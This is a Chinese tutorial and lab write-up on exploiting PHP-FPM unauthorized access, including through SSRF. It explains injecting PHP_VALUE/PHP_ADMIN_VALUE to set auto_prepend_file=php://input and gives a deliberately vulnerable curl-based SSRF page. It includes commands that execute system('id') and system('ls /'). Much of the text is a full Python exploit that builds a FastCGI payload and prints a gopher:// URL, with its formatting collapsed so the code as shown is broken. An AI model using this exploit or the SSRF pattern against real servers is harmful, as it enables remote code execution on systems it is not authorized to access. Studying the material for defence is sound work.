环境搭建
环境搭建请看另一篇文章
php-fpm
在前面我们也看到了PHP-FPM这个东西,那这个PHP-FPM到底是什么呢?
官方对PHP-FPM的解释是 FastCGI 进程管理器,用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。PHP-FPM 默认监听的端口是 9000 端口。
也就是说 PHP-FPM 是 FastCGI 的一个具体实现,并且提供了进程管理的功能,在其中的进程中,包含了 master 和 worker 进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器中间件进行通信,接收服务器中间按照 FastCGI 的规则打包好的用户请求,再将请求转发给 worker 进程进行处理。worker 进程主要负责后端动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。
举个例子,当用户访问 http://127.0.0.1/index.php?a=1&b=2 时,如果 Web 目录是 /var/www/html,那么 Web 服务器中间件(如 Nginx)会将这个请求变成如下 key-value 对:
{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/html/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/html','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1'}
这个数组其实就是 PHP 中 $_SERVER 数组的一部分,也就是 PHP 里的环境变量。但环境变量的作用不仅是填充 $_SERVER 数组,也是告诉 fpm:“我要执行哪个 PHP 文件”。
PHP-FPM 拿到 Fastcgi 的数据包后,进行解析,得到上述这些环境变量。然后,执行 SCRIPT_FILENAME 的值指向的PHP文件,也就是 /var/www/html/index.php。但如果我们能够控制 SCRIPT_FILENAME 的值,不就可以让 PHP-FPM 执行服务器上任意的 PHP 文件了吗。写到这里,PHP-FPM 未授权访问漏洞差不多也就呼之欲出了。
PHP-FPM 任意代码执行
前文我们讲到, Web 服务器中间件会将用户请求设置成环境变量,并且会出现一个 'SCRIPT_FILENAME': '/var/www/html/index.php' 这样的键值对,它的意思是 PHP-FPM 会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制 PHP-FPM 去执行某个已经存在的文件,不能够实现一些恶意代码的执行。并且在 PHP 5.3.9 后来的版本中,PHP 增加了 security.limit_extensions 安全选项,导致只能控制 PHP-FPM 执行一些像 php、php3、php4、php5、php7 这样的文件,因此你必须找到一个已经存在的 PHP 文件,这也增大了攻击的难度。
但是好在强大的 PHP 中有两个有趣的配置项:
auto_prepend_file:告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件。auto_append_file:告诉PHP,在执行完成目标文件后,再包含auto_append_file指向的文件。
那么就有趣了,假设我们设置 auto_prepend_file 为 php://input,那么就等于在执行任何 PHP 文件前都要包含一遍 POST 的内容。所以,我们只需要把需要执行的代码放在 Body 中,他们就能被执行了。(当然,这还需要开启远程文件包含选项 allow_url_include)
那么,我们怎么设置 auto_prepend_file 的值?
这就又涉及到 PHP-FPM 的两个环境变量,PHP_VALUE 和 PHP_ADMIN_VALUE。这两个环境变量就是用来设置 PHP 配置项的,PHP_VALUE 可以设置模式为 PHP_INI_USER 和 PHP_INI_ALL 的选项,PHP_ADMIN_VALUE 可以设置所有选项。
所以,我们最后传入的就是如下的环境变量:
{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/html/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/html','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1''PHP_VALUE': 'auto_prepend_file = php://input','PHP_ADMIN_VALUE': 'allow_url_include = On'}
设置 auto_prepend_file = php://input 且 allow_url_include = On,然后将我们需要执行的代码放在 Body 中,即可执行任意代码。
PHP-FPM 未授权访问漏洞
前文我们讲到,攻击者可以通过 PHP_VALUE 和 PHP_ADMIN_VALUE 这两个环境变量设置 PHP 配置选项 auto_prepend_file 和 allow_url_include ,从而使 PHP-FPM 执行我们提供的任意代码,造成任意代码执行。除此之外,由于 PHP-FPM 和 Web 服务器中间件是通过网络进行沟通的,因此目前越来越多的集群将 PHP-FPM 直接绑定在公网上,所有人都可以对其进行访问。这样就意味着,任何人都可以伪装成Web服务器中间件来让 PHP-FPM 执行我们想执行的恶意代码。这就造成了 PHP-FPM 的未授权访问漏洞。
用P神的fpm.py
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

SSRF 中对 FPM/FastCGI 的攻击
有时候 PHP-FPM 也并不会执行绑定在 0.0.0.0 上面,而是 127.0.0.1,这样便避免了将 PHP-FPM 暴露在公网上被攻击者访问,但是如果目标主机上存在 SSRF 漏洞的话,我们便可以通过 SSRF 漏洞攻击内网的 PHP-FPM 。
打开 /etc/php/7.4/fpm/pool.d/www.conf

我们绑定在127.0.0.1上,不暴露在公网。
重启nginxservice nginx reload
ps -elf | grep php-fpm

然后kill杀掉进程。再重新启动/usr/sbin/php-fpm7.4
此时外网已经不能打通,内网可以


我们写一个ssrf的点
<?phphighlight_file(__FILE__);$url = $_GET['url'];$curl = curl_init($url);//第二种初始化curl的方式//$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']);/*进行curl配置*/curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头$responseText = curl_exec($curl);//var_dump(curl_error($curl) ); // 如果执行curl过程中出现异常,可打开此开关,以便查看异常内容echo $responseText;curl_close($curl);?>
此时发现curl不生效,发现是没装curl拓展
apt-get -y install php7.4-curl
然后重启php-fpm
pkill php-fpm/usr/sbin/php-fpm7.4

监听一下,然后把流量打到1234端口
python fpm.py 127.0.0.1 /var/www/html/index.php -c "<?php system('id'); exit(); ?>" -p 1234

拿到流量转换为gopher的形式。然后打一下就行了。我这个环境没成功,url一场就curl不过去。不知道是什么原因。
这篇里有一个p神脚本修改,用于生成gopher的
py -2 fpm.py -c "<?php system('ls /'); exit(); ?>" -p 9000 127.0.0.1 /var/www/html/index.php
import socketimport base64import randomimport argparseimport sysfrom io import BytesIOimport urllib# Referrer: https://github.com/wuyunfeng/Python-FastCGI-ClientPY2 = True if sys.version_info.major == 2 else Falsedef bchr(i):if PY2:return force_bytes(chr(i))else:return bytes([i])def bord(c):if isinstance(c, int):return celse:return ord(c)def force_bytes(s):if isinstance(s, bytes):return selse:return s.encode('utf-8', 'strict')def force_text(s):if issubclass(type(s), str):return sif isinstance(s, bytes):s = str(s, 'utf-8', 'strict')else:s = str(s)return sclass FastCGIClient:"""A Fast-CGI Client for Python"""# private__FCGI_VERSION = 1__FCGI_ROLE_RESPONDER = 1__FCGI_ROLE_AUTHORIZER = 2__FCGI_ROLE_FILTER = 3__FCGI_TYPE_BEGIN = 1__FCGI_TYPE_ABORT = 2__FCGI_TYPE_END = 3__FCGI_TYPE_PARAMS = 4__FCGI_TYPE_STDIN = 5__FCGI_TYPE_STDOUT = 6__FCGI_TYPE_STDERR = 7__FCGI_TYPE_DATA = 8__FCGI_TYPE_GETVALUES = 9__FCGI_TYPE_GETVALUES_RESULT = 10__FCGI_TYPE_UNKOWNTYPE = 11__FCGI_HEADER_SIZE = 8# request stateFCGI_STATE_SEND = 1FCGI_STATE_ERROR = 2FCGI_STATE_SUCCESS = 3def __init__(self, host, port, timeout, keepalive):self.host = hostself.port = portself.timeout = timeoutif keepalive:self.keepalive = 1else:self.keepalive = 0self.sock = Noneself.requests = dict()def __connect(self):self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.sock.settimeout(self.timeout)self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)# if self.keepalive:# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)# else:# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)try:self.sock.connect((self.host, int(self.port)))except socket.error as msg:self.sock.close()self.sock = Noneprint(repr(msg))return Falsereturn Truedef __encodeFastCGIRecord(self, fcgi_type, content, requestid):length = len(content)buf = bchr(FastCGIClient.__FCGI_VERSION) \+ bchr(fcgi_type) \+ bchr((requestid >> 8) & 0xFF) \+ bchr(requestid & 0xFF) \+ bchr((length >> 8) & 0xFF) \+ bchr(length & 0xFF) \+ bchr(0) \+ bchr(0) \+ contentreturn bufdef __encodeNameValueParams(self, name, value):nLen = len(name)vLen = len(value)record = b''if nLen < 128:record += bchr(nLen)else:record += bchr((nLen >> 24) | 0x80) \+ bchr((nLen >> 16) & 0xFF) \+ bchr((nLen >> 8) & 0xFF) \+ bchr(nLen & 0xFF)if vLen < 128:record += bchr(vLen)else:record += bchr((vLen >> 24) | 0x80) \+ bchr((vLen >> 16) & 0xFF) \+ bchr((vLen >> 8) & 0xFF) \+ bchr(vLen & 0xFF)return record + name + valuedef __decodeFastCGIHeader(self, stream):header = dict()header['version'] = bord(stream[0])header['type'] = bord(stream[1])header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])header['paddingLength'] = bord(stream[6])header['reserved'] = bord(stream[7])return headerdef __decodeFastCGIRecord(self, buffer):header = buffer.read(int(self.__FCGI_HEADER_SIZE))if not header:return Falseelse:record = self.__decodeFastCGIHeader(header)record['content'] = b''if 'contentLength' in record.keys():contentLength = int(record['contentLength'])record['content'] += buffer.read(contentLength)if 'paddingLength' in record.keys():skiped = buffer.read(int(record['paddingLength']))return recorddef request(self, nameValuePairs={}, post=''):# if not self.__connect():# print('connect failure! please check your fasctcgi-server !!')# returnrequestId = random.randint(1, (1 << 16) - 1)self.requests[requestId] = dict()request = b""beginFCGIRecordContent = bchr(0) \+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \+ bchr(self.keepalive) \+ bchr(0) * 5request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,beginFCGIRecordContent, requestId)paramsRecord = b''if nameValuePairs:for (name, value) in nameValuePairs.items():name = force_bytes(name)value = force_bytes(value)paramsRecord += self.__encodeNameValueParams(name, value)if paramsRecord:request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)if post:request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)#print base64.b64encode(request)return request# self.sock.send(request)# self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND# self.requests[requestId]['response'] = b''# return self.__waitForResponse(requestId)def __waitForResponse(self, requestId):data = b''while True:buf = self.sock.recv(512)if not len(buf):breakdata += bufdata = BytesIO(data)while True:response = self.__decodeFastCGIRecord(data)if not response:breakif response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:self.requests['state'] = FastCGIClient.FCGI_STATE_ERRORif requestId == int(response['requestId']):self.requests[requestId]['response'] += response['content']if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:self.requests[requestId]return self.requests[requestId]['response']def __repr__(self):return "fastcgi connect host:{} port:{}".format(self.host, self.port)if __name__ == '__main__':parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')parser.add_argument('host', help='Target host, such as 127.0.0.1')parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)args = parser.parse_args()client = FastCGIClient(args.host, args.port, 3, 0)params = dict()documentRoot = "/"uri = args.filecontent = args.codeparams = {'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'POST','SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),'SCRIPT_NAME': uri,'QUERY_STRING': '','REQUEST_URI': uri,'DOCUMENT_ROOT': documentRoot,'SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '9985','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1','CONTENT_TYPE': 'application/text','CONTENT_LENGTH': "%d" % len(content),'PHP_VALUE': 'auto_prepend_file = php://input','PHP_ADMIN_VALUE': 'allow_url_include = On'}response = client.request(params, content)response = urllib.quote(response)print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)
